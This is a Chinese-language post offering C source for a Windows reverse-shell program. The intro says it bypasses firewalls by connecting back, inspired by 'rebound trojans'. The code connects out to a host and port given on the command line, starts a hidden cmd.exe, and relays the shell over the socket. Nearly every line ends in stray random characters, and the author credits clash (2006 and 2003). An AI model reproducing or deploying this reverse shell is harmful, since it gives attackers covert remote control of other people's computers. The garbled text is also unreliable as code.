这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b6_*ljM
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/* ============================== =N01!?{
Rebound port in Windows NT 5:9Ay ?
By wind,2006/7 Ou/@!Y1
===============================*/ 6"WR}S0o
#include C- ]H+p
#include udB:ys
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#pragma comment(lib,"wsock32.lib") )/2* <jr
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void OutputShell(); 4?M=?K0
SOCKET sClient; Mo
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >4 GhI65
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void main(int argc,char **argv) K @"m0
{ 7;KmJ}$
WSADATA stWsaData; z;1tJ
int nRet; I%%\;Dy
SOCKADDR_IN stSaiClient,stSaiServer; <oV
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if(argc != 3) rS/Q
{ NFY,$
printf("Useage:\n\rRebound DestIP DestPort\n"); MUz.-YRt
return; ^mFuZ~g;?
} @Qd6a:-6
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WSAStartup(MAKEWORD(2,2),&stWsaData); )z3mS2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h+zJ"\
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stSaiClient.sin_family = AF_INET; >!E:$;i@
stSaiClient.sin_port = htons(0); 9?gLi!rd
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ItQI M#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9C[3w[G~C
{ Wf13Ab
printf("Bind Socket Failed!\n"); A)040n
return; 9g>]m6
} *Au4q<
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stSaiServer.sin_family = AF_INET; o; 6\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rj$u_y3S*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $rs7D}VNc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R_uA!MoLs
{ ~zRUJ2hD!
printf("Connect Error!"); +
}(
return; W6&".2
} Sl^HMO
OutputShell(); !fwLC"QC
} "My \&0-
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void OutputShell() HCb7`(@
{ !rb)Y;WQt
char szBuff[1024]; zi2hi9A
SECURITY_ATTRIBUTES stSecurityAttributes; #PoUCRRC
OSVERSIONINFO stOsversionInfo; >~TLgq*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {#=q[jVi%1
STARTUPINFO stStartupInfo; rv;w`f
char *szShell; 7\JRHw
PROCESS_INFORMATION stProcessInformation; V5K`TC^
unsigned long lBytesRead; mY(~94{d
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Mh>^~;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RJnRbaC
stSecurityAttributes.lpSecurityDescriptor = 0; @luv;X^%
stSecurityAttributes.bInheritHandle = TRUE; ;.!AX|v
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); HkJ$r<J2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pb$U~TvzhM
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Jnb>u*7,
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p[h A?dXn
stStartupInfo.wShowWindow = SW_HIDE; 7O;v5k~iQ
stStartupInfo.hStdInput = hReadPipe; mcb0%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n:`> QY
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GetVersionEx(&stOsversionInfo); Jmf&&)p
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switch(stOsversionInfo.dwPlatformId) `WC~cb\
{ 0#G&8*FMN
case 1: o{
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szShell = "command.com"; e {N8|l
break; 53=s'DZ
default: 0kQAT#
szShell = "cmd.exe"; H;G*tje/M
break; /tJJ2 =%l
} p/cVQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); PZf^r
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send(sClient,szMsg,77,0); [jeZZB
while(1) J ;i/X;^
{ 'S)}mG_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :a0qm.EN
if(lBytesRead) wP+wA}SN
{ n$axqvG
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^WVH z;
send(sClient,szBuff,lBytesRead,0); 6S2D\Bt,_
} zK}$W73W^
else `Q,moz
{ G3OqRH
lBytesRead=recv(sClient,szBuff,1024,0); (m-(5 CaJ
if(lBytesRead<=0) break; J5mMx)t@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x!tCK47Yq
} RnIL>Akp
} UKZsq5Q
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return; 7-'!XD!
}